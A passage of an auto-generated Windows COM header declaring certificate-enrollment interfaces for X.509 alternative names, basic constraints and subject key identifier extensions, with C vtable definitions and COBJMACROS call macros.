/* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IAlternativeNamesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IAlternativeNames * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IAlternativeNames * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IAlternativeNames * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IAlternativeNames * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IAlternativeName **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IAlternativeNames * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IAlternativeNames * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ __RPC__in_opt IAlternativeName *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IAlternativeNames * This);\n        \n        END_INTERFACE\n    } IAlternativeNamesVtbl;\n\n    interface IAlternativeNames\n    {\n        CONST_VTBL struct IAlternativeNamesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IAlternativeNames_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IAlternativeNames_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IAlternativeNames_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IAlternativeNames_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IAlternativeNames_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IAlternativeNames_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IAlternativeNames_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IAlternativeNames_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IAlternativeNames_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IAlternativeNames_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IAlternativeNames_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IAlternativeNames_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IAlternativeNames_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IAlternativeNames_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionAlternativeNames_INTERFACE_DEFINED__\n#define __IX509ExtensionAlternativeNames_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionAlternativeNames */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionAlternativeNames;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab315-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionAlternativeNames : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt IAlternativeNames *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternativeNames( \n            /* [retval][out] */ __RPC__deref_out_opt IAlternativeNames **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionAlternativeNamesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionAlternativeNames * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionAlternativeNames * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionAlternativeNames * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ __RPC__in_opt IAlternativeNames *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternativeNames )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [retval][out] */ __RPC__deref_out_opt IAlternativeNames **ppValue);\n        \n        END_INTERFACE\n    } IX509ExtensionAlternativeNamesVtbl;\n\n    interface IX509ExtensionAlternativeNames\n    {\n        CONST_VTBL struct IX509ExtensionAlternativeNamesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionAlternativeNames_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionAlternativeNames_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionAlternativeNames_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionAlternativeNames_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionAlternativeNames_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionAlternativeNames_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionAlternativeNames_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionAlternativeNames_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionAlternativeNames_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionAlternativeNames_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionAlternativeNames_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionAlternativeNames_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionAlternativeNames_InitializeEncode(This,pValue)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pValue) ) \n\n#define IX509ExtensionAlternativeNames_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionAlternativeNames_get_AlternativeNames(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_AlternativeNames(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionAlternativeNames_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionBasicConstraints_INTERFACE_DEFINED__\n#define __IX509ExtensionBasicConstraints_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionBasicConstraints */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionBasicConstraints;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab316-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionBasicConstraints : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ VARIANT_BOOL IsCA,\n            /* [in] */ LONG PathLenConstraint) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsCA( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PathLenConstraint( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionBasicConstraintsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionBasicConstraints * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionBasicConstraints * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionBasicConstraints * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ VARIANT_BOOL IsCA,\n            /* [in] */ LONG PathLenConstraint);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsCA )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PathLenConstraint )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionBasicConstraintsVtbl;\n\n    interface IX509ExtensionBasicConstraints\n    {\n        CONST_VTBL struct IX509ExtensionBasicConstraintsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionBasicConstraints_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionBasicConstraints_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionBasicConstraints_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionBasicConstraints_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionBasicConstraints_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionBasicConstraints_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionBasicConstraints_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionBasicConstraints_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionBasicConstraints_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionBasicConstraints_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionBasicConstraints_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionBasicConstraints_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionBasicConstraints_InitializeEncode(This,IsCA,PathLenConstraint)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,IsCA,PathLenConstraint) ) \n\n#define IX509ExtensionBasicConstraints_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionBasicConstraints_get_IsCA(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IsCA(This,pValue) ) \n\n#define IX509ExtensionBasicConstraints_get_PathLenConstraint(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PathLenConstraint(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionBasicConstraints_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionSubjectKeyIdentifier_INTERFACE_DEFINED__\n#define __IX509ExtensionSubjectKeyIdentifier_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionSubjectKeyIdentifier */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionSubjectKeyIdentifier;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab317-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionSubjectKeyIdentifier : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strKeyIdentifier) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SubjectKeyIdentifier( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionSubjectKeyIdentifierVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionSubjectKeyIdentifier * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strKeyIdentifier);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SubjectKeyIdentifier )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionSubjectKeyIdentifierVtbl;\n\n    interface IX509ExtensionSubjectKeyIdentifier\n    {\n        CONST_VTBL struct IX509ExtensionSubjectKeyIdentifierVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionSubjectKeyIdentifier_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionSubjectKeyIdentifier_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionSubjectKeyIdentifier_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl 